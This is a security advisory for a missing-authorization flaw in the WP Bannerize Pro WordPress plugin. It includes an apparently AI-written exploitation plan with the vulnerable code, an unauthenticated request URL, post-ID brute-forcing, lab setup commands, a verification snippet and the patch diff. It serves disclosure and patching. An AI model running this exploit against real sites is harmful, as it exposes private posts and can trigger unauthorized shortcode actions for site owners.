Bannerize Pro <= 1.11.0 - Missing Authorization
Description
The WP Bannerize Pro plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 1.11.0. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=1.11.0What Changed in the Fix
Changes introduced in v1.11.1
Source Code
WordPress.org SVN# Exploitation Research Plan: WP Bannerize Pro <= 1.11.0 - Missing Authorization (CVE-2026-25012) ## 1. Vulnerability Summary The **WP Bannerize Pro** plugin (versions up to and including 1.11.0) contains a missing authorization vulnerability within its frontend request handling logic. The `WPBanne…
Show full research plan
Exploitation Research Plan: WP Bannerize Pro <= 1.11.0 - Missing Authorization (CVE-2026-25012)
1. Vulnerability Summary
The WP Bannerize Pro plugin (versions up to and including 1.11.0) contains a missing authorization vulnerability within its frontend request handling logic. The WPBannerizeFrontendServiceProvider class registers a wp_loaded hook that processes requests starting with a specific URI prefix (/wp_bannerize_pro?).
This handler retrieves any WordPress post by an ID provided in the query string and executes do_shortcode() on its content without verifying the post's status (e.g., whether it is private, a draft, or a password-protected post) or checking if the current user has the authority to view that content. This allows unauthenticated attackers to render the content and evaluate shortcodes of any post on the site, leading to unauthorized access to potentially sensitive information or execution of shortcode-based actions.
2. Attack Vector Analysis
- Endpoint:
http://<target-site>/wp_bannerize_pro?id=<POST_ID> - HTTP Method:
GET - Authentication: None (Unauthenticated)
- Parameters:
id: The integer ID of the target post, page, or banner to render.
- Condition: The
REQUEST_URImust start exactly with/wp_bannerize_pro?. - Preconditions:
- The plugin must be active.
- The site must be installed at the root of the domain (due to the
substr($requestUri, 0, 18)check).
3. Code Flow
The vulnerability is located in plugin/Providers/WPBannerizeFrontendServiceProvider.php.
Registration: The
register()method hookswp_loaded:add_action('wp_loaded', [$this, 'wp_loaded'], 99);Entry Point: The
wp_loaded()method triggers early in the WordPress lifecycle:public function wp_loaded() { $requestMethod = $_SERVER['REQUEST_METHOD'] ?? ''; $requestUri = $_SERVER['REQUEST_URI'] ?? ''; $queryString = $_SERVER['QUERY_STRING'] ?? ''; // Vulnerable check: Only checks URI prefix, not permissions if (strtolower($requestMethod) === 'get' && substr($requestUri, 0, 18) === '/wp_bannerize_pro?') { $queryParams = []; parse_str($queryString, $queryParams); if (isset($queryParams['id']) && !empty($queryParams['id'])) { // Sink: Retrieves any post regardless of visibility settings $post = get_post($queryParams['id']); ?> <!DOCTYPE html> <html> <body> <?php // Sink: Executes shortcodes on content echo do_shortcode($post->post_content); ?> </body> </html> <?php die(); } } }
4. Nonce Acquisition Strategy
This specific vulnerability in the wp_loaded hook does not require a nonce. The code checks the REQUEST_METHOD and REQUEST_URI but does not invoke wp_verify_nonce() or check_admin_referer().
5. Exploitation Strategy
The goal is to demonstrate that an unauthenticated user can read the content of a "Private" post by bypassing standard authorization.
- Discovery: Use the
http_requesttool to check if the endpoint responds. - Payload Construction: Target a known post ID or brute-force IDs to find a private post.
- Execution:
- URL:
http://localhost:8080/wp_bannerize_pro?id=<TARGET_ID> - Header:
Accept: text/html
- URL:
- Analysis: Check the response body for rendered shortcodes or content that should not be visible to unauthenticated users.
6. Test Data Setup
To verify the vulnerability, we need to create content that is normally restricted:
- Create a Private Post:
wp post create --post_type=post --post_title="Secret Report" --post_content="CONFIDENTIAL_DATA_12345 [wp_bannerize_pro id=1]" --post_status=private - Note the ID: Capture the ID returned by the
wp post createcommand. - Create a Banner (Optional): If testing specifically for banner rendering:
wp post create --post_type=wp_bannerize --post_title="Hidden Banner" --post_content="BANNER_CONTENT_ABCDE" --post_status=publish
7. Expected Results
- When accessing the standard post URL (e.g.,
/?p=<ID>), an unauthenticated user should receive a 404 or redirect to login. - When accessing
/wp_bannerize_pro?id=<ID>, the plugin should return an HTML document containing:- The string
CONFIDENTIAL_DATA_12345. - The evaluated output of any shortcodes present in the post content.
- The string
8. Verification Steps
- Initial State: confirm the post is private.
wp post get <ID> --field=post_status # Expected: private - Exploit Request: Use the
http_requesttool.await http_request({ url: "http://localhost:8080/wp_bannerize_pro?id=<ID>", method: "GET" }); - Confirmation: Search the response for the secret string.
if (response.body.includes("CONFIDENTIAL_DATA_12345")) { console.log("Vulnerability Confirmed: Unauthenticated access to private post content."); }
9. Alternative Approaches
If the site is installed in a subdirectory (e.g., /wordpress/), the substr($requestUri, 0, 18) check will fail because the URI will start with /wordpress/wp_bannerize_pro?.
In such a case, exploitation might be possible if:
- The attacker can trigger a request where the
REQUEST_URIis manipulated (though rare in standard environments). - The site is behind a proxy that strips the subdirectory prefix before it reaches PHP.
If the primary goal is to trigger "Unauthorized Actions" as suggested by the severity, we can look for shortcodes installed on the system (e.g., from other plugins) that perform state changes (like [contact-form-7] triggers or [user_registration_form]) and execute them by providing the ID of the post containing them.
Summary
The WP Bannerize Pro plugin for WordPress is vulnerable to unauthorized information disclosure and shortcode execution due to a missing authorization check in the `wp_loaded` hook. Unauthenticated attackers can access the content of any post, including private or password-protected posts, and trigger shortcode processing by navigating to a specific URI with a target post ID.
Vulnerable Code
// plugin/Providers/WPBannerizeFrontendServiceProvider.php:178 public function wp_loaded() { $requestMethod = $_SERVER['REQUEST_METHOD'] ?? ''; $requestUri = $_SERVER['REQUEST_URI'] ?? ''; $queryString = $_SERVER['QUERY_STRING'] ?? ''; if (strtolower($requestMethod) === 'get' && substr($requestUri, 0, 18) === '/wp_bannerize_pro?') { $queryParams = []; parse_str($queryString, $queryParams); if (isset($queryParams['id']) && !empty($queryParams['id'])) { $post = get_post($queryParams['id']); ?> <!DOCTYPE html> <html> <body> <?php echo do_shortcode($post->post_content); ?> </body> </html> <?php die(); } } }
Security Fix
@@ -184,7 +186,16 @@ parse_str($queryString, $queryParams); if (isset($queryParams['id']) && !empty($queryParams['id'])) { - $post = get_post($queryParams['id']); ?> + + $post = get_post($queryParams['id']); + + $is_private = $post->post_status !== 'publish'; + $is_password_protected = post_password_required($post->ID); + + if ($is_private || $is_password_protected) { + return; + } + ?> <!DOCTYPE html> <html>
Exploit Outline
An attacker can exploit this vulnerability by sending a GET request to the site's root using the URI pattern `/wp_bannerize_pro?id=[POST_ID]`. Because the plugin processes this request during the `wp_loaded` action without verifying if the post is public or if the requester has permission to view it, the server will respond with the processed content (including any executed shortcodes) of the post associated with the provided ID. No authentication or nonces are required for this attack.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.